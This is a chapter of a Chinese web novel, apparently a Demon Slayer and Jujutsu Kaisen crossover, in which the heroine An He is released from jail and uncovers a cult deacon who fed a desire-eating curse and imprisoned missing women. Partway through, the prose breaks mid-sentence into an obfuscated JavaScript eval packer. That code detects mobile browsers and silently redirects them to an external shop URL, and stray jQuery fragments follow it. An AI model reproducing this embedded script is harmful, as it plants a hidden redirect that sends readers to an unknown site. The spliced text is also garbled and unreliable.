她看着无知无觉的童磨,按捺住内心的不安,向一旁的牢差试探:“牢差大人,冤枉啊,昨晚我根本没去过教会啊。”
牢差斜睨她一眼:“被抓进来的人都这么说。”
“我在伊藤大人府上呆得好好的,怎么会大晚上去教会,更何况我与教主大人无冤无仇,怎会……怎会干那种事呢?”说完,她还装模作样地抹了下眼泪。
听她提到伊藤弘,牢差这才想起今早抓人前,有人嘱咐他嘴上严实些,这事儿水深。可他昨夜刚喝了酒,竟把这事儿忘了。
牢差赶紧补充:“断案这事儿不归我管,我不过听命行事罢了。”
说完便头也不回地走了。
她只好转头看向角落里一直盯着她的白色小蘑菇:“神子大人,您怎么也进来了,幕府这不是乱抓人吗?”
乖巧端坐的小蘑菇见她终于理会他后,嘴角扬起:“姐姐,我确实是去过父亲大人和母亲大人的房间。不过那时候他们已经前往极乐了。”
她眉头一皱,一时没留意童磨口中 “极乐” 一词的异样。昨晚她进入房中时,屋内只有她、童磨父母、粉色咒灵。
凶手知道她和童磨都到过房间,也就是说,凶手一直都在现场,还目睹了她收服粉色咒灵,甚至咒灵的诞生估计有他的一份成果。
但无疑凶手走了一步臭棋,他急于找替罪羊,将她和童磨摊在明面上,反而暴露了自己,凶手已经急了。
她想明白后,瞬间松了一口气,大概要不了多久她就能出去了,毕竟她可是在伊藤弘府上被抓的。
她缓缓走到离童磨最远的角落,随意地收拾了下地面,背对着童磨盘腿坐下。这家伙身上的粉雾还没搞清楚是怎么回事呢,得离他远点。
白色小蘑菇抿紧嘴唇看着恨不得离他八丈远的安禾,眼神暗了暗,想说些什么,却见刚刚的牢差去而复返,刚张开的嘴又闭上了。
走过来开门的牢差心里直嘀咕,虽和他说水深,可这水也太深了吧,这人刚进去屁股都还没坐热,就让他把人给放了。
被放出来的安禾看着还在里面当蘑菇的童磨,奇怪地问着牢差:“怎么就我放出来了,这位神子大人呢?”
牢差闻言摆了摆手,示意无可奉告。
她带着疑惑回到了伊藤弘府上,好歹这位神子大人是她的任务对象,能救他出来最好。
“伊藤先生,此次幸得您的相助,晚辈无以为报。”她俯身向伊藤弘表示感谢,如果没有伊藤弘的转圜,她可没这么快被放出来。
“你在我府上被抓走,事情也是我让你去调查的,我自然有一份责任。”伊藤弘眼神复杂地看着眼前的安禾,知道她能耐,却没想到她这么能耐。
自从他开始调查极乐教的事,就重新获得了幕府那位大人的青眼,他这才知道幕府对极乐教早有安排,他不过是计划的一环。
于是他顺势加入了教会,本以为只牵扯了狂信徒,想借机给安禾卖个人情,结果反倒帮了自己一回。
前些天他将咒灵的事上报后,那位大人让人给他透了个口风,让他顺其自然,不要多管此事。安禾能这么快被放出来,全是因为那位大人的运作。这下他就算再愚钝,也明白那位大人的意思了。
安禾看着眼神怪怪的伊藤弘,不由起了一身鸡皮疙瘩,可想起还关在牢里的白色小蘑菇,还是向伊藤弘询问了此事。
“那是个可怜的孩子,你是想救他吗?”伊藤弘顺着她的话问道。
她思忖了片刻:“我之前被咒灵袭击过,是那孩子救了我。更何况这件事我也算半个当事人,自然想调查清楚。”
“你是个好孩子,想去便去吧。只要你不干不该干的事,我会为你托底的……怎么眼睛突然红了?”
她看着眼前一直帮衬她的老人,一时不知道该如何回话:“晚辈身无长物,已经欠下您太多人情,如果您愿意的话,晚辈为您养老。”
伊藤弘眉心直跳,这话怎么听着怪怪的。但又没什么可交代的,便把她赶出去了。
安禾溜达到侍从值班的地方,谢过他对小比的照顾,想将小比领回来。
她被突然抓走,牢差自然不可能让她带着小比,于是便把小比交给侍从帮忙看顾了。
侍从年岁十六,叫做不死川庆太,很是喜欢小动物,奈何不太有动物缘,只有小比肯和他一起玩。她准备带走小比,可小比蹲坐在原地,望着不死川庆太,半步不肯挪动。
他感动得眼泪汪汪:“小比这是舍不得我吗?”
小比:让他把怀里的肉干给我。
安禾:……
“哈哈,可能它是想要你怀里的肉干吧。”
“……”
他僵硬地从怀里摸出一看就是自己做的肉干,递给了小比,小比叼着肉干头也不回地走了。
她尴尬地找了个借口,说要出门遛小比,然后告别了这个掉色石像。
实则是一出门,就找了一处荒无人烟的地界,把小比撒手一放,任由小比撒丫子狂奔。而她将铜铃里的粉色咒灵放出,询问它童磨身上的粉雾是怎么回事。
突然被放出来的粉色咒灵有些疑惑:“童磨,谁?”
她向粉色咒灵描绘了下童磨的样貌,粉色咒灵瘪了瘪嘴,眉头紧皱,缓缓吐出了几个字:“没用,难吃。”
“你的意思是因为他难吃才用粉雾围着他?”
粉色咒灵点了点头,随即又摇了摇头。
“他难吃,但是不是你用粉雾围着他的?”
粉色咒灵点了点头。
“但粉雾确实是咒灵身上的,怎么会不是咒灵围的?”她突然灵光一闪,她忘了童磨父母!
“你能靠欲望实现愿望?”
粉色咒灵点头又摇头,见她猜不到点上,又说了俩字:“认知。”
“你以欲望为食,但需要和人达成契约才能吸取他们的欲望;你能篡改认知,哄骗他们以为得偿所愿。”她斩钉截铁,声音冷硬。
这下粉色咒灵终于只剩点头了。
“协议一旦达成,你不能终止。”她补充上最后一环。
粉色咒灵又点了点头。
通了!全部都通了!她也终
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746917|209317||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
于知道这个粉色咒灵到底是个什么东西了,这是个咒灵版的食梦貘!
暗中有人豢养这只粉色咒灵!是他刻意将咒灵引至童磨父母身边,企图借咒灵摆布二人。事发当夜,此人始终守在屋外暗中监视,静待计划生效。
童磨父母心底的执念与欲望,全都与童磨有关。可计划发生变故,咒灵反倒被她收服。人与咒灵缔结的契约一旦立下便无法中途作废,咒灵失去汲取欲望的载体,反噬立刻落到童磨父母身上。
咒灵的粉雾失去依附,顺着执念转嫁到了童磨身上。偏偏童磨生来无半分欲望,粉雾无法吸食,只能盘旋缠绕在他周身。
除此之外,坊间多名女子失踪的事,幕后主使同样是这名饲养咒灵之人。
而此人就是——仪式执事·井岛坂!
即使有此人的从中作梗,可她能轻易获释,除了伊藤弘的周旋,多半也是因为幕府分析出了死因。
至于还在牢里的童磨?也许是出于对他的保护吧,哈哈。
接下来就是找到仪式执事井岛坂的罪证,也就是找到那些失踪的女子。井岛坂为了举办仪式常年居住在教会,他藏人的地方必然不会太远,甚至可能就在教会内部!
她赶紧脑子里唤回小比,这时候是汪汪队立大功的时候啊!
她用日益健硕的肱二头肌一把抱起回来的小比,朝着之前偶遇的大娘家狂冲。开玩笑,教会各处恐怕都残留着井岛坂的气息,正好让小比闻闻那些失踪女子的物品追查线索。
好不容易让大娘帮忙拿到了她邻居媳妇的木梳,安禾立刻朝伊藤弘的府上赶去。
安禾:我又不是傻子上赶着单挑!更何况井岛坂这家伙还不知道在哪呆着呢!
因为此事并没有实际证据,不符合幕府派人搜查的流程,伊藤弘便帮她找来了几个护卫陪她去教会。
教会因命案封锁了正门,他们辗转才找到一处矮墙,费力翻了进去。双脚刚落地,就见小比立在一旁,满眼嫌弃地瞅着他们,鼻头朝侧边一拱 —— 墙边分明留着一个宽敞的狗洞。
安禾:……不早说!
几人一路跟着到处嗅嗅的小比,却来到了一处她没想到的地方——主殿,而主殿旁边就是童磨父母的房间。这也太明目张胆了吧!
在小比的帮助下,他们顺利找到了一处密室,里面果不其然关着数名女子,一旁的几个架子上赫然还摆放着密密麻麻的头骨,令人不寒而栗。
她上前探了探这些女子的呼吸,好在都还有气。但现在这种情况完全不是她能掺和的了。
“来个人去叫幕府吧。”她不忍地闭上了双眼。
密室中弥漫着难以言喻的味道,令人作呕。确定这些女子身上并无外伤后,她和几个护卫一起将这些女子挪出了密室,等候幕府来人。
她在等待过程中一直在思考,从收服咒灵,到如今找到失踪的女子,这一路实在太顺利了,顺利到她有些不安。
井岛坂是怎么知道咒灵的培养方法的?是什么人告诉他的吗?他想利用咒灵达成什么目的?而他现在……又在哪里?